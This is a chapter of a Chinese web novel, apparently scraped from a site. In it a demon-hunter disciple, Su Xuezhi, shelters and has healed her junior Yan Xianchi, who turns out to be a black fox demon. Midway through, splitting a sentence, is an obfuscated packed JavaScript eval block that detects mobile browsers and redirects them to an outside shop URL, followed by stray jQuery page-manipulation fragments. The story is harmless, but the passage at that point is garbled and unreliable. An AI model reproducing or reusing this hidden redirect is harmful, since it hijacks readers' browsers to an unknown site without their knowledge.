师父知道他新收的徒弟是狐妖吗?
门外人又敲了敲门,声音慵懒又闲散:“有妖闯进了捉妖司,你要是在的话回个话?”
来者是白知许,捉妖司司主幽兰仙师的大弟子。
素雪雉收了术气,抬手覆上了狼狈仰躺在案上宴弦尺的下半张脸,将虎口死死卡进他上下唇瓣间,把一切声音堵了回去。
她语调平常,不紧不慢回应:“我这没事,不必担忧。”
说话的同时,拇指摩挲着宴弦尺的嘴角,像是在安抚他,而宴弦尺的虎牙正抵在她薄薄地虎口上,不知是兽性使然还是什么,他用舌尖舔了舔她的手心,似乎下一秒就要一口咬下。
痒痒的湿热触感令素雪雉蹙眉,她手指更用力几分,指尖摁出的红印在宴弦尺白皙的脸上格外显眼,也许是吃痛感受到了上位者的不爽,他这才老实下来。
滴答滴答的血腥气浓郁,门外的白知许却道:“我就说你能有什么事,莲妹妹非要让我来你这看一圈,我走了啊。”
宴弦尺的瞳孔仍泛着猩红,素雪雉与其对视,完全不清楚他现在是个什么状况。
她将人喊住:“多谢,我看了一天信件双目有些干涩,麻烦你叫岑莲过来一趟。”
岑莲,以医术闻名的鹿元仙师门下弟子。
刚往外走一步的白知许:……
他真是气笑了,叩叩门:“雪雉啊,我都这么装看不见了你这是生怕我不知道……”
素雪雉话说的温柔:“今晚总部肯定要彻夜搜查,修医术的捉妖师也不例外,她来我这能好好休息会。”
门外的白知许正经道:“我这就去叫她。”
素雪雉笑笑不说话。
想起几年前刚来捉妖司时白知许和她一起从齐仙师手下溜走刚好碰到鹿元仙师带着岑莲路过,岑莲一身淡粉色的长裙,樱花树下,双方匆匆一眼。
白知许当时就站那不动了,直愣愣的眼里全是那道粉色的身影,然后问素雪雉:“你相信一见钟情吗?”
素雪雉:?
她礼貌微笑:“你少看点话本子吧。”
然而之后不等白知许主动去找上岑莲,岑莲便先找了过来。
白知许,一向懒散的人刻意凹了个自认为帅气的造型,笑容满面的迎上去,然后——
岑莲略过了他,直直来到素雪雉面前,一双杏眼带着些许害羞,小声打招呼:“…可以认识一下吗,我叫岑莲。”
……
三个人那年常常一起,但后来又因为三位仙师管的事不同,交代弟子的事也不同,三人都专心修习术法倒是鲜少碰面。
其实主要是素雪雉很少能和他们两个碰上,隔好几个月才能见一面聊聊天。
素雪雉眼下专注观察师弟,她将手收了回来,宴弦尺依旧虚弱,但看起来比刚闯进来时好了点,他闭着眼一动不动装死。
素雪雉近距离蹲下,摸了摸师弟头顶黑色毛茸茸的狐狸耳朵,轻轻扯了扯。
是真的。
手感挺好。
宴弦尺半睁开眼眸,眼中闪过凶光。
素雪雉并没有放在眼里,仍然柔柔捏捏。
不多时,万卷楼外门再次被敲响,明朗的女声叫着:“雪雉?”
“进来吧。”
岑莲这才推门而入。
她仍是一身淡粉色长裙,只是人更为明朗了些。
岑莲的视线一下被宴弦尺吸引,眼前一亮:“……黑狐?黑狐竟然还没灭绝?”
素雪雉并不是很了解,只问道:“能治吗?”
岑莲点点头,话说的轻松:“万卷楼的镇妖法阵却是强悍无比,别人不一定行,但我可以。”
她双手悬空于胸前,十指凝丝,术气凝针,半是指引的在他模糊的皮肉间穿梭。
富有弹性的肌肤被丝线拉扯,看着就令人牙酸的疼。
但宴弦尺并没有感觉到疼痛,反而原本的痛苦减轻不少,瞳孔的红浅了几分,慢慢的,体感过于轻飘舒适,以至于不知不觉间他闭上了眼睛。
“重伤反噬,恢复过程中会觉得困倦很正常,睡醒就好了,”也许是怕素雪雉担心,岑莲解释道。
素雪雉自然是信岑莲的。
又过了许久,岑莲才深深呼出一口气,收回术气散了针线。
“辛苦了,”素雪雉递过杯水,岑莲红着脸抿起嘴角:“不辛苦,相反我很高兴你能叫我来。”
这么大的秘密素雪雉只告诉她,说明她们之间的关系亲密无间!
岑莲暗爽。
素雪雉将宴弦尺扶正后,让他处于个舒适的姿势躺好,便与岑莲坐在矮椅上姊妹闲聊。
素雪雉先问“刚说的黑狐灭绝是怎么回事?”
岑莲讲道:“我也是听说过一个传闻,据说妖王黑狐和一个人界女子在一起,两人有了孩子,这被妖界众妖王痛斥,最终几位妖王联手杀了黑狐以及他的妻子孩子。
而这件事后,哪怕很多黑狐未修得忘兽形境无法化为人形却也遭到了其他妖族围剿,自此狐系妖族不再有黑狐。”
毕竟是传闻,她也只记了个大概,细枝末节都忘了。
素雪雉感到奇怪:“你说,妖能修习人的术法吗?”
“按理说是不能的。”
“但他可以。”
两人看向宴弦尺,岑莲沉思道:“虽然医术大家都说妖与人诞下的孩子妖族血脉更重,将其划分为妖,但若是那个人的术法境界够强,也许能传给孩子。”
素雪雉:“如果传闻是真的,你的推测是真的……”
岑莲:“那人起码比妖王强。”
素雪雉:“捉妖司记载的仙师中近二十年没有人仙逝。”
岑莲:“也就是说民间仍有仙师未加入捉妖司。”
素雪雉:“阶位升至天师要经过天道赐福,七彩荣光照耀整片大陆,这想藏也藏不住吧。”
岑莲:“若是天道……”
两人看着对方的眼睛你一言我一语,似乎知道了些她们不该知道的事。
最终还是素雪雉叹气:“算了,等师父回来让师父处理吧。”
夜深了,岑莲贴心的用随身携带的隐血粉清理了万卷楼附近明显的血渍,虽然素雪雉不知她为什么会随身携带这个。
万卷楼的层数很多,高耸入云,最顶层有着各种禁制,放着不同被禁用的术法书
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17813762|210972||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
卷。
岑莲本是好奇想偷偷看看,却被禁制劝退,便挑了个适中的层数晚息去了。
而素雪雉向来入睡难睡觉轻,万卷楼没有床榻难以入睡,便静静坐在宴弦尺身边,透过窗户望着高悬的月亮双眼无神的放空。
忽然想起案上还有几封信件没看完,素雪雉便继续翻看。
烛火不知何时燃尽了,明明启动烛火下的重置阵就会有崭新的烛芯,但她一时间懒得动,便借着月光看信上的文字。
刚好是捉妖师配队名册,然而不等她张开信纸,便听到了身侧衣襟摩擦的声响。
宴弦尺清醒过来,入眼便是透窗月光下漂亮的师姐正望着自己。
他想,师姐也许是月神化身,不然那份温柔清冷为何总是让他不自觉的想靠近。
同时他又暗骂自己,真是没救了。
素雪雉见他醒过来,半是调侃半是好奇:“你一个狐妖怎么敢考进捉妖司来的。”
宴弦尺听到这瞬间一僵,原本沉浸在师姐美色中的眼神都清澈了,整个人动都不敢动连呼吸都停滞了,他忽然意识到了自己的处境。
完了。
宴弦尺黝黑的瞳孔一转,凑近,拉起素雪雉的手贴在他的脸侧,双眸可怜兮兮冲着素雪雉示弱:“……师姐?”
素雪雉眉梢微动,想想一封封检举信上同僚们口中顽劣至极的宴弦尺,再看看眼前正似有似无的偷偷观察她反应的人。
这不是很乖吗?
她起了几分逗弄心思,于是故作冷淡的没接话。
宴弦尺见此是真的慌了。
他被阵法伤后妖性大起时记忆些许朦胧,但他隐约印象里师姐在摸他的耳朵。
宴弦尺拉着师姐的手放到头顶的狐狸耳朵上企图讨好。
素雪雉的手一动不动,他就自己主动用柔软的狐耳蹭头顶的手。
素雪雉轻轻捏了捏,问他:“想看配队名单为什么不直接和我说。”
何必把自己弄得这么狼狈冒这么大风险。
宴弦尺不敢直视她:“如果师姐看到我们不是一队,我再改配队名单就麻烦了。”
素雪雉笑的不行:“……你甚至想闯万卷楼改名单?”
不对。
她再次问:“为什么会麻烦,你想和我同队直说就好了,我冒充师父和其他仙师打声招呼就行。”
宴弦尺:“……冒充师父?”
很显然两个人都认为对方的做法风险更大。
他颇有些别扭小声嘀咕:“我怕师姐会介意……厌烦我与你太近。”
“不会,你可以放心依赖我,毕竟我刚来的时候也很黏着师父,”
素雪雉笑说着,将手中折叠的一小碟信纸张开,一眼没看,全递给宴弦尺:“喏。”
宴弦尺自然听得出师姐话里意思——照顾自己都是她身为师姐的责任。
只有责任。
多么冷漠又令妖心动的话啊。
他双手接过,心如擂鼓,高高朝着窗举起纸张,月盏如灯透射,格外清晰的俊秀字迹映入眼帘。
捉妖司一队:
素雪雉,宴弦尺,凌乘风,白玉楼,辞北涼。